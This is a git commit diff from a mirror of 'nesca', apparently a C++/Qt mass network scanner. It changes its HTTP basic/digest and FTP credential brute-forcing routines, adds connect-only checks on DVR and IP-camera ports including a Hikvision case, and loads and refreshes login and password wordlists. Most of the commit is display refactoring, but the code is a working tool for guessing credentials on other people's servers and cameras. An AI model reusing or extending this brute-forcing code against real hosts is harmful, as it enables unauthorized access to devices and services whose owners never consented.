mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-24 00:31:46 +00:00
Shuffle visualizer
This commit is contained in:
parent
68bfe1800c
commit
36f908a204
@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
||||
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
|
||||
)
|
||||
{
|
||||
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||
|
||||
Sleep(30000);
|
||||
return -1;
|
||||
}
|
||||
@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
|
||||
return 0;
|
||||
}
|
||||
|
||||
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
string lpString;
|
||||
lopaStr BA::BABrute(const char *ip, const int port) {
|
||||
bool digestMode = true;
|
||||
string lpString;
|
||||
lopaStr lps = {"UNKNOWN", "", ""};
|
||||
int passCounter = 0;
|
||||
int res = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
std::string buff;
|
||||
Connector con;
|
||||
Sleep(1000);
|
||||
|
||||
con.nConnect(ip, port, &buff);
|
||||
int isDig = Utils::isDigest(&buff);
|
||||
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
|
||||
if (isDig == -1) {
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + "/\">" +
|
||||
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
|
||||
ipString + "</a></span>");
|
||||
strcpy(lps.login, "");
|
||||
return lps;
|
||||
}
|
||||
else if (isDig == 1) {
|
||||
if (digestMode != true) {
|
||||
digestMode = true;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (digestMode != false) {
|
||||
digestMode = false;
|
||||
};
|
||||
}
|
||||
else if (isDig == 1) digestMode = true;
|
||||
else digestMode = false;
|
||||
|
||||
std::string buffer;
|
||||
|
||||
@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
else if (res != -1) {
|
||||
res = checkOutput(&buffer, ip, port);
|
||||
if (res == -2) {
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "404");
|
||||
}
|
||||
strcpy(lps.other, "404");
|
||||
return lps;
|
||||
}
|
||||
@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
break;
|
||||
}
|
||||
if (res == 1) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||
}
|
||||
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||
QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
|
||||
lopaStr BA::BALobby(const char *ip, const int port) {
|
||||
if(gMaxBrutingThreads > 0) {
|
||||
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
|
||||
++baCount;
|
||||
++BrutingThrds;
|
||||
const lopaStr &lps = BABrute(ip, port, digestMode);
|
||||
const lopaStr &lps = BABrute(ip, port);
|
||||
--BrutingThrds;
|
||||
|
||||
return lps;
|
||||
|
@ -8,11 +8,11 @@
|
||||
|
||||
class BA {
|
||||
private:
|
||||
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
|
||||
static lopaStr BABrute(const char *ip, const int port);
|
||||
|
||||
public:
|
||||
static int checkOutput(const string *buffer, const char *ip, const int port);
|
||||
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
|
||||
static lopaStr BALobby(const char *ip, const int port);
|
||||
};
|
||||
|
||||
#endif // BASICAUTH_H
|
||||
|
@ -2,7 +2,6 @@
|
||||
#include "SSHAuth.h"
|
||||
#include "Filter.h"
|
||||
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int _pingMyTarget(const char *ip)
|
||||
{
|
||||
@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
else res = curl_easy_perform(curl);
|
||||
|
||||
int sz = buffer->size();
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
if (res == CURLE_OK || (port == 21 && sz > 0)) {
|
||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||
Activity += sz;
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
return sz;
|
||||
} else {
|
||||
curl_easy_cleanup(curl);
|
||||
if (res == 6) return -2;
|
||||
if (res == 56 && port == 8000) return 1; //Hikvision
|
||||
else if (res != 28 &&
|
||||
res != 7 &&
|
||||
res != 13 &&
|
||||
@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
res != 23)
|
||||
{
|
||||
if (res == 5) {
|
||||
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
||||
stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
|
||||
return -2;
|
||||
} else if (res == 8) {
|
||||
stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||
@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
};
|
||||
}
|
||||
|
||||
bool portCheck(const char * sDVRIP, int wDVRPort) {
|
||||
CURL *curl = curl_easy_init();
|
||||
if (curl != NULL) {
|
||||
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
|
||||
curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
|
||||
int proxyPort = std::atoi(gProxyPort);
|
||||
if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
|
||||
|
||||
int res = curl_easy_perform(curl);
|
||||
curl_easy_cleanup(curl);
|
||||
if (res != CURLE_OK) {
|
||||
return false;
|
||||
}
|
||||
else return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
int Connector::connectToPort(char* ip, int port)
|
||||
{
|
||||
if(gPingNScan)
|
||||
@ -261,16 +280,25 @@ int Connector::connectToPort(char* ip, int port)
|
||||
std::string buffer;
|
||||
int size = 0;
|
||||
|
||||
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
|
||||
else size = nConnect(ip, port, &buffer);
|
||||
if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
|
||||
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
|
||||
else size = nConnect(ip, port, &buffer);
|
||||
|
||||
if(size > 0)
|
||||
{
|
||||
++Alive;//ME2
|
||||
++found;//PieStat
|
||||
Lexems lx;
|
||||
lx.filler(ip, port, &buffer, size, &lx);
|
||||
if (size > 0)
|
||||
{
|
||||
++Alive;//ME2
|
||||
++found;//PieStat
|
||||
Lexems lx;
|
||||
lx.filler(ip, port, &buffer, size, &lx);
|
||||
}
|
||||
else if (size == -2) return -2;
|
||||
} else {
|
||||
if (portCheck(ip, port)) {
|
||||
++Alive;//ME2
|
||||
++found;//PieStat
|
||||
Lexems lx;
|
||||
lx.filler(ip, port, &buffer, size, &lx);
|
||||
};
|
||||
}
|
||||
else if (size == -2) return -2;
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
26
Connector.h
26
Connector.h
@ -10,6 +10,27 @@
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#pragma comment(lib,"curllib.lib")
|
||||
#endif
|
||||
|
||||
#include <openssl/err.h>
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
#define MUTEX_TYPE HANDLE
|
||||
#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL)
|
||||
#define MUTEX_CLEANUP(x) CloseHandle(x)
|
||||
#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE)
|
||||
#define MUTEX_UNLOCK(x) ReleaseMutex(x)
|
||||
#define THREAD_ID GetCurrentThreadId()
|
||||
#else
|
||||
#include <pthread.h>
|
||||
#define MUTEX_TYPE pthread_mutex_t
|
||||
#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)
|
||||
#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))
|
||||
#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))
|
||||
#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))
|
||||
#define THREAD_ID pthread_self()
|
||||
#endif
|
||||
|
||||
|
||||
class Connector {
|
||||
|
||||
public:
|
||||
@ -18,11 +39,6 @@ public:
|
||||
const std::vector<std::string> *customHeaders = NULL,
|
||||
const std::string *lpString = NULL,
|
||||
bool digestMode = false);
|
||||
//static int nConnect2(const char* ip, const int port, std::string *buffer,
|
||||
// const char *postData = NULL,
|
||||
// const std::vector<std::string> *customHeaders = NULL,
|
||||
// const std::string *lpString = NULL,
|
||||
// bool digestMode = false);
|
||||
int connectToPort(char *ip, int port);
|
||||
};
|
||||
#endif // CONNECTOR_H
|
||||
|
@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth)
|
||||
xtx = x + tx;
|
||||
if(xtx > 1 && xtx < 31)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS);
|
||||
if(AnomC1 > 0)
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
|
||||
if (camerasC1 > 0)
|
||||
{
|
||||
if(xtx < 16 ) fact1+=2;
|
||||
else fact1-=2;
|
||||
@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth)
|
||||
|
||||
if(xtx > 34 && xtx < 72)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS);
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
|
||||
|
||||
if(WF > 0)
|
||||
if(/*WF*/0 > 0)
|
||||
{
|
||||
if(xtx < 52 ) fact2+=2;
|
||||
else fact2-=2;
|
||||
@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth)
|
||||
|
||||
if(xtx > 114 && xtx < 152)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS);
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);
|
||||
|
||||
if(Susp > 0)
|
||||
if (other > 0)
|
||||
{
|
||||
if(xtx < 132 ) fact4+=2;
|
||||
else fact4-=2;
|
||||
@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth)
|
||||
|
||||
if(xtx > 194 && xtx < 232)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS);
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
|
||||
|
||||
if(Lowl > 0)
|
||||
if(/*Lowl*/0 > 0)
|
||||
{
|
||||
if(xtx < 212 ) fact6+=2;
|
||||
else fact6-=2;
|
||||
@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth)
|
||||
tx = x;
|
||||
};
|
||||
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
|
||||
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
|
||||
return DrawerTh_ME2Scanner::polyVect.size();
|
||||
@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run()
|
||||
else
|
||||
{
|
||||
msleep(1000);
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
};
|
||||
msleep(100);
|
||||
};
|
||||
|
@ -12,10 +12,10 @@ void DrawerTh_QoSScanner::run()
|
||||
{
|
||||
lstOfLabels.clear();
|
||||
lstOfLabels.append(Alive);
|
||||
lstOfLabels.append(AnomC1);
|
||||
lstOfLabels.append(WF);
|
||||
lstOfLabels.append(Susp);
|
||||
lstOfLabels.append(Lowl);
|
||||
lstOfLabels.append(camerasC1);
|
||||
//lstOfLabels.append(WF);
|
||||
lstOfLabels.append(other);
|
||||
//lstOfLabels.append(Lowl);
|
||||
lstOfLabels.append(baCount);
|
||||
lstOfLabels.append(Overl);
|
||||
lstOfLabels.append(ssh);
|
||||
@ -29,25 +29,25 @@ void DrawerTh_QoSScanner::run()
|
||||
else
|
||||
{
|
||||
msleep(500);
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
};
|
||||
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
msleep(2000);
|
||||
};
|
||||
|
@ -104,15 +104,15 @@ void DrawerTh_VoiceScanner::run()
|
||||
{
|
||||
if(widgetIsHidden == false && tray->isVisible() == false)
|
||||
{
|
||||
makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, baCount, Overl, WF, ssh);
|
||||
makeVoiceLine(Alive, camerasC1, 0, other, 0, baCount, Overl, 0, ssh);
|
||||
Alive = 0;
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
filtered = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
baCount = 0;
|
||||
Overl = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
|
||||
vsTh->doEmitAddLine();
|
||||
@ -122,13 +122,13 @@ void DrawerTh_VoiceScanner::run()
|
||||
{
|
||||
msleep(500);
|
||||
Alive = 0;
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
filtered = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
baCount = 0;
|
||||
Overl = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
};
|
||||
};
|
||||
|
65
FTPAuth.cpp
65
FTPAuth.cpp
@ -17,26 +17,26 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
|
||||
int res = 0;
|
||||
int passCounter = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
char nip[128] = { 0 };
|
||||
|
||||
for(int i = 0; i < MaxLogin; ++i)
|
||||
for (int i = 0; i < MaxFTPLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
||||
if(strlen(loginLst[i]) <= 1) continue;
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
strcpy(login, ftpLoginLst[i]);
|
||||
if (strlen(login) <= 1) continue;
|
||||
|
||||
strcpy(login, loginLst[i]);
|
||||
|
||||
for(int j = 0; j < MaxPass; ++j)
|
||||
for (int j = 0; j < MaxFTPPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
||||
if(strlen(passLst[j]) <= 1) continue;
|
||||
|
||||
strcpy(pass, passLst[j]);
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
strcpy(pass, ftpPassLst[j]);
|
||||
if (strlen(pass) <= 1) continue;
|
||||
|
||||
lpString = string(login) + ":" + string(pass);
|
||||
|
||||
@ -44,23 +44,54 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
sprintf(nip, "ftp://%s", ip);
|
||||
Connector con;
|
||||
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
||||
if (res == -2) return lps;
|
||||
if (res == -2) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
else if (res != -1) {
|
||||
if (!globalScanFlag) return lps;
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
};
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
@ -69,15 +100,13 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
|
||||
++baCount;
|
||||
//BruteUtils::BConInc();
|
||||
++BrutingThrds;
|
||||
const lopaStr &lps = FTPBrute(ip, port, ps);
|
||||
--BrutingThrds;
|
||||
//BruteUtils::BConDec();
|
||||
|
||||
return lps;
|
||||
} else {
|
||||
lopaStr lps = {"UNKNOWN", "", ""};;
|
||||
lopaStr lps = {"UNKNOWN", "", ""};
|
||||
return lps;
|
||||
}
|
||||
}
|
||||
|
@ -48,12 +48,12 @@ void checkWeb(const char *fileName, std::string *oldLM) {
|
||||
|
||||
void FileDownloader::checkWebFiles() {
|
||||
while (true) {
|
||||
checkWeb("negatives.txt", &lastModifiedNeg);
|
||||
checkWeb("login.txt", &lastModifiedL);
|
||||
checkWeb("pass.txt", &lastModifiedP);
|
||||
checkWeb("sshpass.txt", &lastModifiedSSH);
|
||||
checkWeb("wflogin.txt", &lastModifiedWFL);
|
||||
checkWeb("wfpass.txt", &lastModifiedWFP);
|
||||
checkWeb(NEGATIVE_FN, &lastModifiedNeg);
|
||||
checkWeb(LOGIN_FN, &lastModifiedL);
|
||||
checkWeb(PASS_FN, &lastModifiedP);
|
||||
checkWeb(SSH_PASS_FN, &lastModifiedSSH);
|
||||
checkWeb(WF_LOGIN_FN, &lastModifiedWFL);
|
||||
checkWeb(WF_PASS_FN, &lastModifiedWFP);
|
||||
Sleep(600000);
|
||||
}
|
||||
}
|
||||
|
138
FileUpdater.cpp
138
FileUpdater.cpp
@ -3,6 +3,11 @@
|
||||
#include "STh.h"
|
||||
#include "mainResources.h"
|
||||
|
||||
char **loginLst, **passLst;
|
||||
char **wfLoginLst, **wfPassLst;
|
||||
char **ftpLoginLst, **ftpPassLst;
|
||||
char **sshlpLst;
|
||||
|
||||
bool FileUpdater::running = false;
|
||||
long FileUpdater::oldNegLstSize = 0;
|
||||
long FileUpdater::oldLoginLstSize = 0;
|
||||
@ -10,6 +15,8 @@ long FileUpdater::oldPassLstSize = 0;
|
||||
long FileUpdater::oldSSHLstSize = 0;
|
||||
long FileUpdater::oldWFLoginLstSize = 0;
|
||||
long FileUpdater::oldWFPassLstSize = 0;
|
||||
long FileUpdater::oldFTPLoginLstSize = 0;
|
||||
long FileUpdater::oldFTPPassLstSize = 0;
|
||||
int FileUpdater::gNegativeSize = 0;
|
||||
std::mutex FileUpdater::filesUpdatingMutex;
|
||||
std::condition_variable FileUpdater::cv;
|
||||
@ -18,7 +25,7 @@ std::unique_lock<std::mutex> FileUpdater::lk;
|
||||
std::vector<std::string> FileUpdater::negativeVector;
|
||||
|
||||
void negativeLoader() {
|
||||
std::ifstream file("negatives.txt");
|
||||
std::ifstream file(NEGATIVE_FN);
|
||||
std::string line;
|
||||
|
||||
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
|
||||
@ -41,7 +48,7 @@ void updateLogin() {
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
FILE *loginList = fopen(LOGIN_FN, "r");
|
||||
|
||||
if(loginList != NULL)
|
||||
{
|
||||
@ -94,7 +101,7 @@ void updatePass() {
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
FILE *passList = fopen(PASS_FN, "r");
|
||||
|
||||
if(passList != NULL)
|
||||
{
|
||||
@ -148,7 +155,7 @@ void updateSSH() {
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *sshlpList = fopen("sshpass.txt", "r");
|
||||
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
@ -202,7 +209,7 @@ void updateWFLogin() {
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfLoginList = fopen("wflogin.txt", "r");
|
||||
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
|
||||
|
||||
if(wfLoginList != NULL)
|
||||
{
|
||||
@ -251,7 +258,7 @@ void updateWFPass() {
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfPassList = fopen("wfpass.txt", "r");
|
||||
FILE *wfPassList = fopen(WF_PASS_FN, "r");
|
||||
|
||||
if(wfPassList != NULL)
|
||||
{
|
||||
@ -286,7 +293,104 @@ void updateWFPass() {
|
||||
fclose(wfPassList);
|
||||
}
|
||||
}
|
||||
void updateFTPLogin() {
|
||||
|
||||
if (ftpLoginLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||
delete[]ftpLoginLst;
|
||||
ftpLoginLst = NULL;
|
||||
};
|
||||
|
||||
MaxFTPLogin = 0;
|
||||
|
||||
char buffFG[32] = { 0 };
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
|
||||
|
||||
if (ftpLoginList != NULL)
|
||||
{
|
||||
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||
{
|
||||
MaxFTPLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(ftpLoginList);
|
||||
|
||||
ftpLoginLst = new char*[MaxFTPLogin];
|
||||
|
||||
for (int j = 0; j < MaxFTPLogin; j++)
|
||||
{
|
||||
ftpLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||
{
|
||||
memset(ftpLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">FTP login list updated (" + QString::number(MaxFTPLogin) + " entries)</font>");
|
||||
|
||||
fclose(ftpLoginList);
|
||||
}
|
||||
}
|
||||
void updateFTPPass() {
|
||||
|
||||
if (ftpPassLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||
delete[]ftpPassLst;
|
||||
ftpPassLst = NULL;
|
||||
};
|
||||
|
||||
MaxFTPPass = 0;
|
||||
|
||||
char buffFG[32] = { 0 };
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
|
||||
|
||||
if (ftpPassList != NULL)
|
||||
{
|
||||
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||
{
|
||||
++MaxFTPPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(ftpPassList);
|
||||
|
||||
ftpPassLst = new char*[MaxFTPPass];
|
||||
|
||||
for (int j = 0; j < MaxFTPPass; j++)
|
||||
{
|
||||
ftpPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||
{
|
||||
memset(ftpPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">FTP password list updated (" + QString::number(MaxFTPPass) + " entries)</font>");
|
||||
|
||||
